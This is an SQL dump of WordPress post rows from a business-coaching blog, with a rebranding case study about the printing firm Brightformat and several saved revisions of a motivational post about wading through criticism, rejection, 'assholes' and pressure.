(2172, 2, '2012-09-01 13:21:27', '2012-09-01 20:21:27', '<h1><a href="http://whc.fbdev.org/wp-content/uploads/2012/08/brightformat-lead.jpg"><img class="alignnone size-full wp-image-2158" title="brightformat-lead" src="http://whc.fbdev.org/wp-content/uploads/2012/08/brightformat-lead.jpg" alt="" width="495" height="201" /></a></h1>\r\n<h1><span style="color: #808080;">After eight years of growth, this digital print and data management company reinvents itself with a new brand positioning, renaming the company, and developing a new visual identity as the foundation for a brighter future.</span></h1>\r\nAllow me to introduce my clients Pete Houlihan and Mike Glupker, co-CEOs of <a href="http://www.brightformat.com/" target="_blank">Brightformat </a>in Grand Rapids, Michigan.  Over the past six months, I’ve been consulting with Mike and Pete, helping them and their business development team craft their vision for the next level of business growth. It’s been an amazing journey for these creative business leaders as they have grown their business from a small mailing and database services company to one of West Michigan’s premier digital printing and direct marketing services company. And I feel especially grateful to have had a hand in helping them to reinvent their future.\r\n\r\n<strong>The Challenge</strong>\r\nFormerly known as Diversified Data Services, Pete and Mike realized their business had grown far past its mail house roots to serve higher-end and discerning customers within marketing organizations of leading corporate customers in West Michigan. They realized their business name no longer fit and did not express the unique value their company brought to their customers. Consequently they could no longer ignore the difficult process of reinvention.\r\n\r\n<strong></strong>The printing industry is a commodity business where customers have abundant choice of providers and most printing companies compete for business solely on price. The company, which had an excellent reputation for customer service, had moved the core of its original mail house services business to new technologies in on-demand printing, large format printing and direct marketing support services.\r\n\r\n<strong>Doing What Matters</strong>\r\nPete and Mike represent the type of creative entrepreneur that will dominate in the new idea economy because they recognize the essential business strategy of doing what matters to them and serves the good of their customers. They’re fanatics in this regard.\r\n\r\nServing people well and helping their customers create success in their business outcomes really matters to these guys. The partners have a deep and narrow focus on creating a vibrant, stress-free customer experience at level of interaction with customers. This level of customer service is not easily duplicated and consequently represented a significant point of difference that separates them from their competitors in the minds of their customers. This enables them to command a price premium in their market. However, their customers believe the value they receive from Pete and Mike is cheap at twice the price. Now that’s a pricing strategy.\r\n\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2012/08/bf-apparal1.jpg"><img class="alignnone size-full wp-image-2160" title="bf-apparal" src="http://whc.fbdev.org/wp-content/uploads/2012/08/bf-apparal1.jpg" alt="" width="495" height="338" /></a>\r\n\r\n<strong>An open mind eliminates a closed future.</strong>\r\nAnother thing I learned to appreciate working with these business leaders is the fact they had an open mind about their future. Their thinking was expansive and not boxed in by the conventions of their industry, their market, and their competitors. When discussing ideas in our workshops together, the partners were always asking, “what if questions”, exploring the boundaries and looking for breakthroughs.\r\n<h2>This open mindedness also facilitated an honesty about who they were as CEOs, their management styles and how capable they were in delivering on the promise of what made their company special to their customers.\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2012/08/bflogo.jpg"><img class="alignnone size-full wp-image-2161" title="bflogo" src="http://whc.fbdev.org/wp-content/uploads/2012/08/bflogo.jpg" alt="" width="515" height="186" /></a></h2>\r\n<strong>Creating a business name that fit a bigger future.</strong>\r\n\r\nAfter exploring hundreds of naming candidates generated from our workshops and discussions, we were settled on three promising candidates as finalists. They all met the success criteria we established earlier in the creative process, but they were not ringing the bell. None of them were feeling “right” even after several visual design explorations to bring them to life\r\n\r\nThen one day, after a month of pondering and discussions on the final candidates, Mike called me and exclaimed “ Last night the word brightformat name popped into my head. I googled it and checked its availability as a URL and it’s available! I want to go with this, it just works for me”.\r\n\r\nMike was trusting his intuition; He didn’t need to have it validated by others (consultant included). Mike liked the logic behind our “finalists” but they were not connecting at the deep intuitive level that Mike believed was essential for success. When Pete confirmed his excitement on the name from “outta nowhere”, the future of their new direction was set.\r\n\r\n<a href="http://vimeo.com/48003840"><img class="alignleft size-full wp-image-2162" title="pete-and-mike" src="http://whc.fbdev.org/wp-content/uploads/2012/08/pete-and-mike.jpg" alt="" width="250" height="384" /></a><strong>The Outcome</strong>\r\nCheck out the <a href="http://vimeo.com/48003840" target="_blank">video featuring Pete and Mike</a> announcing the name change with humor and grace. Here’s what Pete Houlihan, CEO of Brightformat, had to say about working with me on this project:\r\n\r\n<em>“From the very beginning of the workshops with Thomson and through the implementation of our name and visual expression, Thomson was thoughtful, collaborative, and was clearly committed to our success. His experience, guidance, and creativity helped guide two very different shareholders toward a result that we simply could not be happier with. He didn’t tell us who we should be or where we should go–he guided us along a path that helped us discover our direction and purpose had been there all along, we just needed the expertise to help us reveal it.”</em>\r\n\r\nThank you Pete and Mike for the pleasure of working and learning with you and best wishes for your next level of success!\r\n\r\n<em><strong>If you’re experiencing a challenge to your business growth and success, and would like to explore the possibilities of working together in a similar fashion, <a href="mailto://thomson@whitehotcenter.com" target="_blank">send me an email.</a></strong></em>', 'Creative Entrepreneur Case Story: Brightformat ', 0, '', 'inherit', 'open', 'open', '', '2157-revision-9', '', '', '2012-09-01 13:21:27', '2012-09-01 20:21:27', '', 2157, 'http://www.whitehotcenter.com/2012/09/2157-revision-9/', 0, 'revision', '', 0);
INSERT INTO `wp_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_category`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
(2173, 2, '2012-09-23 11:58:58', '2012-09-23 18:58:58', '<p><a href="http://whc.fbdev.org/wp-content/uploads/2012/09/CRAP.jpg" data-mce-href="http://whc.fbdev.org/wp-content/uploads/2012/09/CRAP.jpg"><img class="alignnone size-full wp-image-2174" title="CRAP" src="http://whc.fbdev.org/wp-content/uploads/2012/09/CRAP.jpg" alt="" data-mce-src="http://whc.fbdev.org/wp-content/uploads/2012/09/CRAP.jpg" height="287" width="495"/></a><br data-mce-bogus="1"/></p><h1><span style="color: rgb(128, 128, 128);" data-mce-style="color: #808080;">You can’t create and experience any level of success in business and life unless you’re willing to wade through CRAP.</span></h1><p>Ok I confess I stole the acronym from an excellent <a href="http://lifehacker.com/5941327/the-8-secrets-of-success" target="_blank" data-mce-href="http://lifehacker.com/5941327/the-8-secrets-of-success">TED talk</a> on the traits of successful people. I encourage you to check it out. Of course, anyone who has ever attempted to create success at anything knows it’s difficult and it takes time. Along the way you’re going to have to face a lot of CRAP. There’s simply no avoiding it.</p><p>There are many “success gurus” out there in internet land selling the formula for easy success. And like P.T. Barnum says–“there’s a sucker born every minute”!&nbsp; I don’t believe that success is something you can buy in a formula. And there’s no formula I know of that will help you avoid the CRAP of success.</p><p>Every one has their definition of success. Of all the definitions of success I’ve heard, I like Bob Dylan’s the best–“ you’re a success when you get up every morning and go to bed at night and in between you do whatever you want to do”. That works for me.&nbsp; But to do whatever you want to do involves CRAP.&nbsp; Here’s my take on how to accept the CRAP that comes with the pursuit of your success:</p><h2>Criticism</h2><p>One of my early mentors had an expression about criticism. It went something like this–“it takes a carpenter to build a barn, but any jackass can kick one down”.&nbsp; Whatever big idea you’re working on, there’s going to be a jackass trying to kick down your barn.</p><p>Anytime you’re hanging it out there for all to see, you’ll be told your idea will never work, you’re not doing it right, whatever.&nbsp; Granted, sometimes critics can be helpful, but usually they’re not. If you’re creating something beautiful in the world, you’ll hear from the critics. Use criticism as a guide that you’re on the right path, the more they say it won’t work, it’s a stupid idea, the more you know you’re on to something special. And one more thing, when that critical voice is your own – ignore yourself!</p><h2>Rejection</h2><p>No one likes to be rejected.&nbsp; But rejection is, in large measure, the raw material necessary for success. Rejection tests your passion and persistence. I’m sure you’ve heard countless stories about the author whose manuscript was rejected hundreds of times only to go on to massive success. When I work with business development people, I consult with them to hurry up and burn through all the “nos” they’re bound to encounter. Every no gets you one step closer to yes.&nbsp; When you’re ideas and plans are rejected, you have two choices: quit or press on anyway.&nbsp; Enough said!</p><h2>Assholes</h2><p>This is my favorite. Assholes lurk everywhere along your path to success. People who for some reason want to see you fall flat on your face, treat you with distain, and basically serve no other purpose than to get in your way.&nbsp; Like critics, they are to be avoided at all costs. Only hang with people who are favorable to your ideas, support and encourage you to keep going. Most of the assholes I have run into in my own pursuits have been people who are afraid to believe in their potential. Their frustration and mean spiritedness is about their own fear and feelings of lack directed outward at others who demonstrate the courage they can’t find within themselves.</p><h2>Pressure</h2><p>Most people want nothing more than to be safe, comfortable and have things be predictable. They can’t deal with the pressure involved in creating something magnificent. Pressure is good! If you’re running your own show, you’ll experience pressures and anxiety that comes with&nbsp; “trusting and believing” in yourself. Making things happen in the physical world from ideas born in the formless world takes a certain amount of pressure. Use pressure as your own creative force for forging the bigger, better future you see in your mind’s eye.</p><p><strong>Indeed there’s CRAP to wade through as you create your own version of success. You’ll need to rely on your passion, focus, and persistence to get there.&nbsp; There really are no secrets to success– only hard work. This is as it should be</strong>.</p>', 'CRAP: Criticism, Rejection, Assholes, Pressure', 0, '', 'publish', 'open', 'open', '', 'crap-criticism-rejection-assholes-pressure', '', '', '2012-09-23 11:59:48', '2012-09-23 18:59:48', '', 0, 'http://www.whitehotcenter.com/?p=2173', 0, 'post', '', 5),
(2174, 2, '2012-09-23 11:45:26', '2012-09-23 18:45:26', '', 'CRAP', 0, '', 'inherit', 'open', 'open', '', 'crap', '', '', '2012-09-23 11:45:26', '2012-09-23 18:45:26', '', 2173, 'http://www.whitehotcenter.com/wp-content/uploads/2012/09/CRAP.jpg', 0, 'attachment', 'image/jpeg', 0),
(2175, 2, '2012-09-23 11:50:29', '2012-09-23 18:50:29', '<a href="http://whc.fbdev.org/wp-content/uploads/2012/09/CRAP.jpg"><img class="alignnone size-full wp-image-2174" title="CRAP" src="http://whc.fbdev.org/wp-content/uploads/2012/09/CRAP.jpg" alt="" width="495" height="287" /></a>\n<h1>You can’t create and experience any level of success in business and life unless you’re willing to wade through CRAP.</h1>\nOk I confess I stole the acronym from an excellent <a href="http://lifehacker.com/5941327/the-8-secrets-of-success" target="_blank">TED talk</a> on the traits of successful people. I encourage you to check it out. Of course, anyone who has ever attempted to create success at anything knows it’s difficult and it takes time. Along the way you’re going to have to face a lot of CRAP. There’s simply no avoiding it.\n\nThere are many “success gurus” out there in internet land selling the formula for easy success. And like P.T. Barnum says–“there’s a sucker born every minute”!  I don’t believe that success is something you can buy in a formula. And there’s no formula I know of that will help you avoid the CRAP of success.\n\nEvery one has their definition of success. Of all the definitions of success I’ve heard, I like Bob Dylan’s the best–“ you’re a success when you get up every morning and go to bed at night and in between you do whatever you want to do”. That works for me.  But to do whatever you want to do involves CRAP.  Here’s my take on how to accept the CRAP that comes with the pursuit of your success:\n<h2>Criticism</h2>\nOne of my early mentors had an expression about criticism. It went something like this–“it takes a carpenter to build a barn, but any jackass can kick one down”.  Whatever big idea you’re working on, there’s going to be a jackass trying to kick down your barn.\n\nAnytime you’re hanging it out there for all to see, you’ll be told your idea will never work, you’re not doing it right, whatever.  Granted, sometimes critics can be helpful, but usually they’re not. If you’re creating something beautiful in the world, you’ll hear from the critics. Use criticism as a guide that you’re on the right path, the more they say it won’t work, it’s a stupid idea, the more you know you’re on to something special. And one more thing, when that critical voice is your own – ignore yourself!\n<h2>Rejection</h2>\nNo one likes to be rejected.  But rejection is, in large measure, the raw material necessary for success. Rejection tests your passion and persistence. I’m sure you’ve heard countless stories about the author whose manuscript was rejected hundreds of times only to go on to massive success. When I work with business development people, I consult with them to hurry up and burn through all the “nos” they’re bound to encounter. Every no gets you one step closer to yes.  When you’re ideas and plans are rejected, you have two choices: quit or press on anyway.  Enough said!\n<h2>Assholes</h2>\nThis is my favorite. Assholes lurk everywhere along your path to success. People who for some reason want to see you fall flat on your face, treat you with distain, and basically serve no other purpose than to get in your way.  Like critics, they are to be avoided at all costs. Only hang with people who are favorable to your ideas, support and encourage you to keep going. Most of the assholes I have run into in my own pursuits have been people who are afraid to believe in their potential. Their frustration and mean spiritedness is about their own fear and feelings of lack directed outward at others who demonstrate the courage they can’t find within themselves.\n<h2>Pressure</h2>\nMost people want nothing more than to be safe, comfortable and have things be predictable. They can’t deal with the pressure involved in creating something magnificent. Pressure is good! If you’re running your own show, you’ll experience pressures and anxiety that comes with  “trusting and believing” in yourself. Making things happen in the physical world from ideas born in the formless world takes a certain amount of pressure. Use pressure as your own creative force for forging the bigger, better future you see in your mind’s eye.\n\n<strong>Indeed there’s CRAP to wade through as you create your own version of success. You’ll need to rely on your passion, focus, and persistence to get there.  There really are no secrets to success– only hard work. This is as it should be</strong>.', 'CRAP: Criticism, Rejection, Assholes, Pressure', 0, '', 'inherit', 'open', 'open', '', '2173-revision', '', '', '2012-09-23 11:50:29', '2012-09-23 18:50:29', '', 2173, 'http://www.whitehotcenter.com/2012/09/2173-revision/', 0, 'revision', '', 0),
(2176, 2, '2012-09-23 11:50:40', '2012-09-23 18:50:40', '<a href="http://whc.fbdev.org/wp-content/uploads/2012/09/CRAP.jpg"><img class="alignnone size-full wp-image-2174" title="CRAP" src="http://whc.fbdev.org/wp-content/uploads/2012/09/CRAP.jpg" alt="" width="495" height="287" /></a>\r\n<h1>You can’t create and experience any level of success in business and life unless you’re willing to wade through CRAP.</h1>\r\nOk I confess I stole the acronym from an excellent <a href="http://lifehacker.com/5941327/the-8-secrets-of-success" target="_blank">TED talk</a> on the traits of successful people. I encourage you to check it out. Of course, anyone who has ever attempted to create success at anything knows it’s difficult and it takes time. Along the way you’re going to have to face a lot of CRAP. There’s simply no avoiding it.\r\n\r\nThere are many “success gurus” out there in internet land selling the formula for easy success. And like P.T. Barnum says–“there’s a sucker born every minute”!  I don’t believe that success is something you can buy in a formula. And there’s no formula I know of that will help you avoid the CRAP of success.\r\n\r\nEvery one has their definition of success. Of all the definitions of success I’ve heard, I like Bob Dylan’s the best–“ you’re a success when you get up every morning and go to bed at night and in between you do whatever you want to do”. That works for me.  But to do whatever you want to do involves CRAP.  Here’s my take on how to accept the CRAP that comes with the pursuit of your success:\r\n<h2>Criticism</h2>\r\nOne of my early mentors had an expression about criticism. It went something like this–“it takes a carpenter to build a barn, but any jackass can kick one down”.  Whatever big idea you’re working on, there’s going to be a jackass trying to kick down your barn.\r\n\r\nAnytime you’re hanging it out there for all to see, you’ll be told your idea will never work, you’re not doing it right, whatever.  Granted, sometimes critics can be helpful, but usually they’re not. If you’re creating something beautiful in the world, you’ll hear from the critics. Use criticism as a guide that you’re on the right path, the more they say it won’t work, it’s a stupid idea, the more you know you’re on to something special. And one more thing, when that critical voice is your own – ignore yourself!\r\n<h2>Rejection</h2>\r\nNo one likes to be rejected.  But rejection is, in large measure, the raw material necessary for success. Rejection tests your passion and persistence. I’m sure you’ve heard countless stories about the author whose manuscript was rejected hundreds of times only to go on to massive success. When I work with business development people, I consult with them to hurry up and burn through all the “nos” they’re bound to encounter. Every no gets you one step closer to yes.  When you’re ideas and plans are rejected, you have two choices: quit or press on anyway.  Enough said!\r\n<h2>Assholes</h2>\r\nThis is my favorite. Assholes lurk everywhere along your path to success. People who for some reason want to see you fall flat on your face, treat you with distain, and basically serve no other purpose than to get in your way.  Like critics, they are to be avoided at all costs. Only hang with people who are favorable to your ideas, support and encourage you to keep going. Most of the assholes I have run into in my own pursuits have been people who are afraid to believe in their potential. Their frustration and mean spiritedness is about their own fear and feelings of lack directed outward at others who demonstrate the courage they can’t find within themselves.\r\n<h2>Pressure</h2>\r\nMost people want nothing more than to be safe, comfortable and have things be predictable. They can’t deal with the pressure involved in creating something magnificent. Pressure is good! If you’re running your own show, you’ll experience pressures and anxiety that comes with  “trusting and believing” in yourself. Making things happen in the physical world from ideas born in the formless world takes a certain amount of pressure. Use pressure as your own creative force for forging the bigger, better future you see in your mind’s eye.\r\n\r\n<strong>Indeed there’s CRAP to wade through as you create your own version of success. You’ll need to rely on your passion, focus, and persistence to get there.  There really are no secrets to success– only hard work. This is as it should be</strong>.', 'CRAP: Criticism, Rejection, Assholes, Pressure', 0, '', 'inherit', 'open', 'open', '', '2173-revision-2', '', '', '2012-09-23 11:50:40', '2012-09-23 18:50:40', '', 2173, 'http://www.whitehotcenter.com/2012/09/2173-revision-2/', 0, 'revision', '', 0),
(2177, 2, '2012-09-23 11:50:51', '2012-09-23 18:50:51', '<a href="http://whc.fbdev.org/wp-content/uploads/2012/09/CRAP.jpg"><img class="alignnone size-full wp-image-2174" title="CRAP" src="http://whc.fbdev.org/wp-content/uploads/2012/09/CRAP.jpg" alt="" width="495" height="287" /></a>\r\n<h1>You can’t create and experience any level of success in business and life unless you’re willing to wade through CRAP.</h1>\r\nOk I confess I stole the acronym from an excellent <a href="http://lifehacker.com/5941327/the-8-secrets-of-success" target="_blank">TED talk</a> on the traits of successful people. I encourage you to check it out. Of course, anyone who has ever attempted to create success at anything knows it’s difficult and it takes time. Along the way you’re going to have to face a lot of CRAP. There’s simply no avoiding it.\r\n\r\nThere are many “success gurus” out there in internet land selling the formula for easy success. And like P.T. Barnum says–“there’s a sucker born every minute”!  I don’t believe that success is something you can buy in a formula. And there’s no formula I know of that will help you avoid the CRAP of success.\r\n\r\nEvery one has their definition of success. Of all the definitions of success I’ve heard, I like Bob Dylan’s the best–“ you’re a success when you get up every morning and go to bed at night and in between you do whatever you want to do”. That works for me.  But to do whatever you want to do involves CRAP.  Here’s my take on how to accept the CRAP that comes with the pursuit of your success:\r\n<h2>Criticism</h2>\r\nOne of my early mentors had an expression about criticism. It went something like this–“it takes a carpenter to build a barn, but any jackass can kick one down”.  Whatever big idea you’re working on, there’s going to be a jackass trying to kick down your barn.\r\n\r\nAnytime you’re hanging it out there for all to see, you’ll be told your idea will never work, you’re not doing it right, whatever.  Granted, sometimes critics can be helpful, but usually they’re not. If you’re creating something beautiful in the world, you’ll hear from the critics. Use criticism as a guide that you’re on the right path, the more they say it won’t work, it’s a stupid idea, the more you know you’re on to something special. And one more thing, when that critical voice is your own – ignore yourself!\r\n<h2>Rejection</h2>\r\nNo one likes to be rejected.  But rejection is, in large measure, the raw material necessary for success. Rejection tests your passion and persistence. I’m sure you’ve heard countless stories about the author whose manuscript was rejected hundreds of times only to go on to massive success. When I work with business development people, I consult with them to hurry up and burn through all the “nos” they’re bound to encounter. Every no gets you one step closer to yes.  When you’re ideas and plans are rejected, you have two choices: quit or press on anyway.  Enough said!\r\n<h2>Assholes</h2>\r\nThis is my favorite. Assholes lurk everywhere along your path to success. People who for some reason want to see you fall flat on your face, treat you with distain, and basically serve no other purpose than to get in your way.  Like critics, they are to be avoided at all costs. Only hang with people who are favorable to your ideas, support and encourage you to keep going. Most of the assholes I have run into in my own pursuits have been people who are afraid to believe in their potential. Their frustration and mean spiritedness is about their own fear and feelings of lack directed outward at others who demonstrate the courage they can’t find within themselves.\r\n<h2>Pressure</h2>\r\nMost people want nothing more than to be safe, comfortable and have things be predictable. They can’t deal with the pressure involved in creating something magnificent. Pressure is good! If you’re running your own show, you’ll experience pressures and anxiety that comes with  “trusting and believing” in yourself. Making things happen in the physical world from ideas born in the formless world takes a certain amount of pressure. Use pressure as your own creative force for forging the bigger, better future you see in your mind’s eye.\r\n\r\n<strong>Indeed there’s CRAP to wade through as you create your own version of success. You’ll need to rely on your passion, focus, and persistence to get there.  There really are no secrets to success– only hard work. This is as it should be</strong>.', 'CRAP: Criticism, Rejection, Assholes, Pressure', 0, '', 'inherit', 'open', 'open', '', '2173-revision-3', '', '', '2012-09-23 11:50:51', '2012-09-23 18:50:51', '', 2173, 'http://www.whitehotcenter.com/2012/09/2173-revision-3/', 0, 'revision', '', 0),
(2178, 2, '2012-09-23 11:54:14', '2012-09-23 18:54:14', '<a href="http://whc.fbdev.org/wp-content/uploads/2012/09/CRAP.jpg"><img class="alignnone size-full wp-image-2174" title="CRAP" src="http://whc.fbdev.org/wp-content/uploads/2012/09/CRAP.jpg" alt="" width="495" height="287" /></a>\n<h1><span style="color: #808080;">You can’t create and experience any level of success in business and life unless you’re willing to wade through CRAP.</span></h1>\nOk I confess I stole the acronym from an excellent <a href="http://lifehacker.com/5941327/the-8-secrets-of-success" target="_blank">TED talk</a> on the traits of successful people. I encourage you to check it out. Of course, anyone who has ever attempted to create success at anything knows it’s difficult and it takes time. Along the way you’re going to have to face a lot of CRAP. There’s simply no avoiding it.\n\nThere are many “success gurus” out there in internet land selling the formula for easy success. And like P.T. Barnum says–“there’s a sucker born every minute”!  I don’t believe that success is something you can buy in a formula. And there’s no formula I know of that will help you avoid the CRAP of success.\n\nEvery one has their definition of success. Of all the definitions of success I’ve heard, I like Bob Dylan’s the best–“ you’re a success when you get up every morning and go to bed at night and in between you do whatever you want to do”. That works for me.  But to do whatever you want to do involves CRAP.  Here’s my take on how to accept the CRAP that comes with the pursuit of your success:\n<h2>Criticism</h2>\nOne of my early mentors had an expression about criticism. It went something like this–“it takes a carpenter to build a barn, but any jackass can kick one down”.  Whatever big idea you’re working on, there’s going to be a jackass trying to kick down your barn.\n\nAnytime you’re hanging it out there for all to see, you’ll be told your idea will never work, you’re not doing it right, whatever.  Granted, sometimes critics can be helpful, but usually they’re not. If you’re creating something beautiful in the world, you’ll hear from the critics. Use criticism as a guide that you’re on the right path, the more they say it won’t work, it’s a stupid idea, the more you know you’re on to something special. And one more thing, when that critical voice is your own – ignore yourself!\n<h2>Rejection</h2>\nNo one likes to be rejected.  But rejection is, in large measure, the raw material necessary for success. Rejection tests your passion and persistence. I’m sure you’ve heard countless stories about the author whose manuscript was rejected hundreds of times only to go on to massive success. When I work with business development people, I consult with them to hurry up and burn through all the “nos” they’re bound to encounter. Every no gets you one step closer to yes.  When you’re ideas and plans are rejected, you have two choices: quit or press on anyway.  Enough said!\n<h2>Assholes</h2>\nThis is my favorite. Assholes lurk everywhere along your path to success. People who for some reason want to see you fall flat on your face, treat you with distain, and basically serve no other purpose than to get in your way.  Like critics, they are to be avoided at all costs. Only hang with people who are favorable to your ideas, support and encourage you to keep going. Most of the assholes I have run into in my own pursuits have been people who are afraid to believe in their potential. Their frustration and mean spiritedness is about their own fear and feelings of lack directed outward at others who demonstrate the courage they can’t find within themselves.\n<h2>Pressure</h2>\nMost people want nothing more than to be safe, comfortable and have things be predictable. They can’t deal with the pressure involved in creating something magnificent. Pressure is good! If you’re running your own show, you’ll experience pressures and anxiety that comes with  “trusting and believing” in yourself. Making things happen in the physical world from ideas born in the formless world takes a certain amount of pressure. Use pressure as your own creative force for forging the bigger, better future you see in your mind’s eye.\n\n<strong>Indeed there’s CRAP to wade through as you create your own version of success. You’ll need to rely on your passion, focus, and persistence to get there.  There really are no secrets to success– only hard work. This is as it should be</strong>.', 'CRAP: Criticism, Rejection, Assholes, Pressure', 0, '', 'inherit', 'open', 'open', '', '2173-revision-4', '', '', '2012-09-23 11:54:14', '2012-09-23 18:54:14', '', 2173, 'http://www.whitehotcenter.com/2012/09/2173-revision-4/', 0, 'revision', '', 0),
(2179, 2, '2012-09-23 11:55:09', '2012-09-23 18:55:09', '<a href="http://whc.fbdev.org/wp-content/uploads/2012/09/CRAP.jpg"><img class="alignnone size-full wp-image-2174" title="CRAP" src="http://whc.fbdev.org/wp-content/uploads/2012/09/CRAP.jpg" alt="" width="495" height="287" /></a>\r\n<h1><span style="color: #808080;">You can’t create and experience any level of success in business and life unless you’re willing to wade through CRAP.</span></h1>\r\nOk I confess I stole the acronym from an excellent <a href="http://lifehacker.com/5941327/the-8-secrets-of-success" target="_blank">TED talk</a> on the traits of successful people. I encourage you to check it out. Of course, anyone who has ever attempted to create success at anything knows it’s difficult and it takes time. Along the way you’re going to have to face a lot of CRAP. There’s simply no avoiding it.\r\n\r\nThere are many “success gurus” out there in internet land selling the formula for easy success. And like P.T. Barnum says–“there’s a sucker born every minute”!  I don’t believe that success is something you can buy in a formula. And there’s no formula I know of that will help you avoid the CRAP of success.\r\n\r\nEvery one has their definition of success. Of all the definitions of success I’ve heard, I like Bob Dylan’s the best–“ you’re a success when you get up every morning and go to bed at night and in between you do whatever you want to do”. That works for me.  But to do whatever you want to do involves CRAP.  Here’s my take on how to accept the CRAP that comes with the pursuit of your success:\r\n<h2>Criticism</h2>\r\nOne of my early mentors had an expression about criticism. It went something like this–“it takes a carpenter to build a barn, but any jackass can kick one down”.  Whatever big idea you’re working on, there’s going to be a jackass trying to kick down your barn.\r\n\r\nAnytime you’re hanging it out there for all to see, you’ll be told your idea will never work, you’re not doing it right, whatever.  Granted, sometimes critics can be helpful, but usually they’re not. If you’re creating something beautiful in the world, you’ll hear from the critics. Use criticism as a guide that you’re on the right path, the more they say it won’t work, it’s a stupid idea, the more you know you’re on to something special. And one more thing, when that critical voice is your own – ignore yourself!\r\n<h2>Rejection</h2>\r\nNo one likes to be rejected.  But rejection is, in large measure, the raw material necessary for success. Rejection tests your passion and persistence. I’m sure you’ve heard countless stories about the author whose manuscript was rejected hundreds of times only to go on to massive success. When I work with business development people, I consult with them to hurry up and burn through all the “nos” they’re bound to encounter. Every no gets you one step closer to yes.  When you’re ideas and plans are rejected, you have two choices: quit or press on anyway.  Enough said!\r\n<h2>Assholes</h2>\r\nThis is my favorite. Assholes lurk everywhere along your path to success. People who for some reason want to see you fall flat on your face, treat you with distain, and basically serve no other purpose than to get in your way.  Like critics, they are to be avoided at all costs. Only hang with people who are favorable to your ideas, support and encourage you to keep going. Most of the assholes I have run into in my own pursuits have been people who are afraid to believe in their potential. Their frustration and mean spiritedness is about their own fear and feelings of lack directed outward at others who demonstrate the courage they can’t find within themselves.\r\n<h2>Pressure</h2>\r\nMost people want nothing more than to be safe, comfortable and have things be predictable. They can’t deal with the pressure involved in creating something magnificent. Pressure is good! If you’re running your own show, you’ll experience pressures and anxiety that comes with  “trusting and believing” in yourself. Making things happen in the physical world from ideas born in the formless world takes a certain amount of pressure. Use pressure as your own creative force for forging the bigger, better future you see in your mind’s eye.\r\n\r\n<strong>Indeed there’s CRAP to wade through as you create your own version of success. You’ll need to rely on your passion, focus, and persistence to get there.  There really are no secrets to success– only hard work. This is as it should be</strong>.', 'CRAP: Criticism, Rejection, Assholes, Pressure', 0, '', 'inherit', 'open', 'open', '', '2173-revision-5', '', '', '2012-09-23 11:55:09', '2012-09-23 18:55:09', '', 2173, 'http://www.whitehotcenter.com/2012/09/2173-revision-5/', 0, 'revision', '', 0),
(2180, 2, '2012-09-23 11:55:23', '2012-09-23 18:55:23', '<a href="http://whc.fbdev.org/wp-content/uploads/2012/09/CRAP.jpg"><img class="alignnone size-full wp-image-2174" title="CRAP" src="http://whc.fbdev.org/wp-content/uploads/2012/09/CRAP.jpg" alt="" width="495" height="287" /></a>\r\n<h1><span style="color: #808080;">You can’t create and experience any level of success in business and life unless you’re willing to wade through CRAP.</span></h1>\r\nOk I confess I stole the acronym from an excellent <a href="http://lifehacker.com/5941327/the-8-secrets-of-success" target="_blank">TED talk</a> on the traits of successful people. I encourage you to check it out. Of course, anyone who has ever attempted to create success at anything knows it’s difficult and it takes time. Along the way you’re going to have to face a lot of CRAP. There’s simply no avoiding it.\r\n\r\nThere are many “success gurus” out there in internet land selling the formula for easy success. And like P.T. Barnum says–“there’s a sucker born every minute”!  I don’t believe that success is something you can buy in a formula. And there’s no formula I know of that will help you avoid the CRAP of success.\r\n\r\nEvery one has their definition of success. Of all the definitions of success I’ve heard, I like Bob Dylan’s the best–“ you’re a success when you get up every morning and go to bed at night and in between you do whatever you want to do”. That works for me.  But to do whatever you want to do involves CRAP.  Here’s my take on how to accept the CRAP that comes with the pursuit of your success:\r\n<h2>Criticism</h2>\r\nOne of my early mentors had an expression about criticism. It went something like this–“it takes a carpenter to build a barn, but any jackass can kick one down”.  Whatever big idea you’re working on, there’s going to be a jackass trying to kick down your barn.\r\n\r\nAnytime you’re hanging it out there for all to see, you’ll be told your idea will never work, you’re not doing it right, whatever.  Granted, sometimes critics can be helpful, but usually they’re not. If you’re creating something beautiful in the world, you’ll hear from the critics. Use criticism as a guide that you’re on the right path, the more they say it won’t work, it’s a stupid idea, the more you know you’re on to something special. And one more thing, when that critical voice is your own – ignore yourself!\r\n<h2>Rejection</h2>\r\nNo one likes to be rejected.  But rejection is, in large measure, the raw material necessary for success. Rejection tests your passion and persistence. I’m sure you’ve heard countless stories about the author whose manuscript was rejected hundreds of times only to go on to massive success. When I work with business development people, I consult with them to hurry up and burn through all the “nos” they’re bound to encounter. Every no gets you one step closer to yes.  When you’re ideas and plans are rejected, you have two choices: quit or press on anyway.  Enough said!\r\n<h2>Assholes</h2>\r\nThis is my favorite. Assholes lurk everywhere along your path to success. People who for some reason want to see you fall flat on your face, treat you with distain, and basically serve no other purpose than to get in your way.  Like critics, they are to be avoided at all costs. Only hang with people who are favorable to your ideas, support and encourage you to keep going. Most of the assholes I have run into in my own pursuits have been people who are afraid to believe in their potential. Their frustration and mean spiritedness is about their own fear and feelings of lack directed outward at others who demonstrate the courage they can’t find within themselves.\r\n<h2>Pressure</h2>\r\nMost people want nothing more than to be safe, comfortable and have things be predictable. They can’t deal with the pressure involved in creating something magnificent. Pressure is good! If you’re running your own show, you’ll experience pressures and anxiety that comes with  “trusting and believing” in yourself. Making things happen in the physical world from ideas born in the formless world takes a certain amount of pressure. Use pressure as your own creative force for forging the bigger, better future you see in your mind’s eye.\r\n\r\n<strong>Indeed there’s CRAP to wade through as you create your own version of success. You’ll need to rely on your passion, focus, and persistence to get there.  There really are no secrets to success– only hard work. This is as it should be</strong>.', 'CRAP: Criticism, Rejection, Assholes, Pressure', 0, '', 'inherit', 'open', 'open', '', '2173-revision-6', '', '', '2012-09-23 11:55:23', '2012-09-23 18:55:23', '', 2173, 'http://www.whitehotcenter.com/2012/09/2173-revision-6/', 0, 'revision', '', 0),
